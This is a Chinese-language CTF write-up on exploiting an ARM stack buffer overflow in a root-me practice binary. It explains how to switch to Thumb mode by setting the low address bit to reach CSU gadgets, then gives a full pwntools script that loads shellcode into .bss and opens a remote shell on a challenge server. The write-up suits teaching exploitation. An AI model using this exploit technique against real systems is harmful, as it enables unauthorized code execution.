(ARM PWN里的thumb模式和arm模式的切换)root_me_stack_buffer_overflow_basic

(ARM PWN里的thumb模式和arm模式的切换)root_me_stack_buffer_overflow_basic

首先,检查一下程序的保护机制

(ARM PWN里的thumb模式和arm模式的切换)root_me_stack_buffer_overflow_basic_第1张图片

然后,我们用IDA分析一下,栈溢出漏洞

(ARM PWN里的thumb模式和arm模式的切换)root_me_stack_buffer_overflow_basic_第2张图片

在CSU里面有可以利用的gadget,但是直接ret过去,会报invalid instrument错误。

(ARM PWN里的thumb模式和arm模式的切换)root_me_stack_buffer_overflow_basic_第3张图片

这是由于在csu这里的指令是thumb指令,需要将cpu工作状态转移到thumb指令状态才可以执行。标记ARM状态是用CPSR寄存器中的标志位T,

(ARM PWN里的thumb模式和arm模式的切换)root_me_stack_buffer_overflow_basic_第4张图片

BX指令可以设置T位,当BX后面的地址值最后一个bit为1时,则将T置位,cpu工作在thumb模式,如果bit为0,则为arm模式。同理,直接ret也具有这个特性,因此,只需要在确保目的地址值的最后一个bit为1,既可以切换到thumb模式,来执行csu的gadget。

#coding:utf8
from pwn import *

context(os='linux',arch='arm')

elf = ELF('./root_me_stack_buffer_overflow_basic')
scanf_got = elf.got['scanf']
bss = 0x00021008 + 0x100
csu_pop = 0x00010610
csu_call = 0x000105FE
#sh = process(argv=['qemu-arm','-L','/home/sea/arm_pwn/arm-libs','./root_me_stack_buffer_overflow_basic'])
#sh = process(argv=['qemu-arm','-g','1234','-L','/home/sea/arm_pwn/arm-libs','./root_me_stack_buffer_overflow_basic'])

sh = remote('node3.buuoj.cn',29902)
payload = 'a'*0xA4 + p32(csu_pop + 1) #切换到Thumb模式,bit0 = 1
payload += p32(0) #R5
payload += p32(0) #R4
payload += p32(scanf_got) #R5
payload += p32(1) #R6
payload += p32(0x00010644) #R7
payload += p32(bss) #R8
payload += p32(0) #R9
payload += p32(csu_call + 1) #Thumb模式,bit0 = 1

payload += p32(0)*0x7
payload += p32(bss) #执行shellcode

sh.sendlineafter('dump:',payload)
sh.sendlineafter('Dump again (y/n):','n')
sh.sendline(asm(shellcraft.sh()))

sh.interactive()

 

你可能感兴趣的:(pwn,二进制漏洞,CTF)